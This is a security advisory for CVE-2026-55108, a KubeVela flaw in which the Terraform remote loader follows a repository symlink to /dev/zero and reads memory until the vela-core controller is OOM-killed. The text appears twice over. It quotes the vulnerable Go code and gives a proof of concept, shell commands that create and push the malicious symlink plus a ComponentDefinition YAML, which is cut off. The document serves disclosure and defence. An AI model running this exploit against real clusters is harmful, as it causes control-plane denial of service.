CVE-2026-55108

KubeVela is an open source application delivery platform. Prior to 1.9.14, from 1.10.0-alpha.1 until 1.10.9, and from 1.11.0-alpha.1 until 1.11.0-alpha.4, the Terraform remote configuration loader in pkg/controller/utils/capability.go, GetTerraformConfigurationFromRemote, clones a repository supplied through a core.oam.dev/v1beta1 ComponentDefinition and follows repository-controlled variables.tf or main.tf symlinks. A user with permission to create or update ComponentDefinition objects can point variables.tf to /dev/zero through terraform.path, after which os.Stat and os.ReadFile follow the link and read an unbounded stream before ParseTerraformVariables or HCL parsing can reject the content. The read can exhaust memory, OOM-kill the cluster-wide vela-core controller, cause repeated Pod restarts, and pressure node memory when no effective container limit is configured. This issue is fixed in versions 1.9.14, 1.10.9, and 1.11.0-alpha.4.

KubeVela is an open source application delivery platform. Prior to 1.9.14, from 1.10.0-alpha.1 until 1.10.9, and from 1.11.0-alpha.1 until 1.11.0-alpha.4, the Terraform remote configuration loader in pkg/controller/utils/capability.go, GetTerraformConfigurationFromRemote, clones a repository supplied through a core.oam.dev/v1beta1 ComponentDefinition and follows repository-controlled variables.tf or main.tf symlinks. A user with permission to create or update ComponentDefinition objects can point variables.tf to /dev/zero through terraform.path, after which os.Stat and os.ReadFile follow the link and read an unbounded stream before ParseTerraformVariables or HCL parsing can reject the content. The read can exhaust memory, OOM-kill the cluster-wide vela-core controller, cause repeated Pod restarts, and pressure node memory when no effective container limit is configured. This issue is fixed in versions 1.9.14, 1.10.9, and 1.11.0-alpha.4.

Summary

KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.

The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.

Details

The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:

https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242

tfPath := filepath.Join(cachePath, remotePath, "variables.tf")
if _, err := os.Stat(tfPath); err != nil {
    tfPath = filepath.Join(cachePath, remotePath, "main.tf")
    if _, err := os.Stat(tfPath); err != nil {
        return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository")
    }
}
conf, err := os.ReadFile(filepath.Clean(tfPath))
if err != nil {
    return "", errors.Wrap(err, "failed to read Terraform configuration")
}

When a ComponentDefinition uses:

schematic:
  terraform:
    type: remote
    configuration: <git repository URL>

the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:

• whether the target is a regular file;
• whether the resolved path remains inside the clone cache;
• how large the file is before reading it.

Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.

The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.

This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.

PoC

Prerequisites:

• KubeVela is installed with the default configuration, for example in a kind cluster:

helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait

• I reproduced this with oamdev/vela-core:v1.10.8 and a vela-core memory limit of 1Gi.
• The attacker has create / update permissions for core.oam.dev/v1beta1 ComponentDefinition in any namespace.
• The tester can create a git repository that vela-core can clone.

1. Create a test git repository. In the repository root, add a relative variables.tf symlink that resolves to /dev/zero after checkout, then push it:

git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
git push -u origin main

2. Create poc-componentdefinition.yaml. Replace configuration with the repository URL from step 1:

apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
  name: dos-tf
  namespace: vela-system
spec:
  workload:
    definition:
      apiVersion: apps/v1
      kind: Deployment
  schematic:
   …

KubeVela is an open source application delivery platform. Prior to 1.9.14, from 1.10.0-alpha.1 until 1.10.9, and from 1.11.0-alpha.1 until 1.11.0-alpha.4, the Terraform remote configuration loader in pkg/controller/utils/capability.go, GetTerraformConfigurationFromRemote, clones a repository supplied through a core.oam.dev/v1beta1 ComponentDefinition and follows repository-controlled variables.tf or main.tf symlinks. A user with permission to create or update ComponentDefinition objects can point variables.tf to /dev/zero through terraform.path, after which os.Stat and os.ReadFile follow the link and read an unbounded stream before ParseTerraformVariables or HCL parsing can reject the content. The read can exhaust memory, OOM-kill the cluster-wide vela-core controller, cause repeated Pod restarts, and pressure node memory when no effective container limit is configured. This issue is fixed in versions 1.9.14, 1.10.9, and 1.11.0-alpha.4.

KubeVela is an open source application delivery platform. Prior to 1.9.14, from 1.10.0-alpha.1 until 1.10.9, and from 1.11.0-alpha.1 until 1.11.0-alpha.4, the Terraform remote configuration loader in pkg/controller/utils/capability.go, GetTerraformConfigurationFromRemote, clones a repository supplied through a core.oam.dev/v1beta1 ComponentDefinition and follows repository-controlled variables.tf or main.tf symlinks. A user with permission to create or update ComponentDefinition objects can point variables.tf to /dev/zero through terraform.path, after which os.Stat and os.ReadFile follow the link and read an unbounded stream before ParseTerraformVariables or HCL parsing can reject the content. The read can exhaust memory, OOM-kill the cluster-wide vela-core controller, cause repeated Pod restarts, and pressure node memory when no effective container limit is configured. This issue is fixed in versions 1.9.14, 1.10.9, and 1.11.0-alpha.4.

Summary

KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.

The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.

Details

The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:

https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242

tfPath := filepath.Join(cachePath, remotePath, "variables.tf")
if _, err := os.Stat(tfPath); err != nil {
    tfPath = filepath.Join(cachePath, remotePath, "main.tf")
    if _, err := os.Stat(tfPath); err != nil {
        return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository")
    }
}
conf, err := os.ReadFile(filepath.Clean(tfPath))
if err != nil {
    return "", errors.Wrap(err, "failed to read Terraform configuration")
}

When a ComponentDefinition uses:

schematic:
  terraform:
    type: remote
    configuration: <git repository URL>

the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:

• whether the target is a regular file;
• whether the resolved path remains inside the clone cache;
• how large the file is before reading it.

Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.

The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.

This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.

PoC

Prerequisites:

• KubeVela is installed with the default configuration, for example in a kind cluster:

helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait

• I reproduced this with oamdev/vela-core:v1.10.8 and a vela-core memory limit of 1Gi.
• The attacker has create / update permissions for core.oam.dev/v1beta1 ComponentDefinition in any namespace.
• The tester can create a git repository that vela-core can clone.

1. Create a test git repository. In the repository root, add a relative variables.tf symlink that resolves to /dev/zero after checkout, then push it:

git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
git push -u origin main

2. Create poc-componentdefinition.yaml. Replace configuration with the repository URL from step 1:

apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
  name: dos-tf
  namespace: vela-system
spec:
  workload:
    definition:
      apiVersion: apps/v1
      kind: Deployment
  schematic:
   …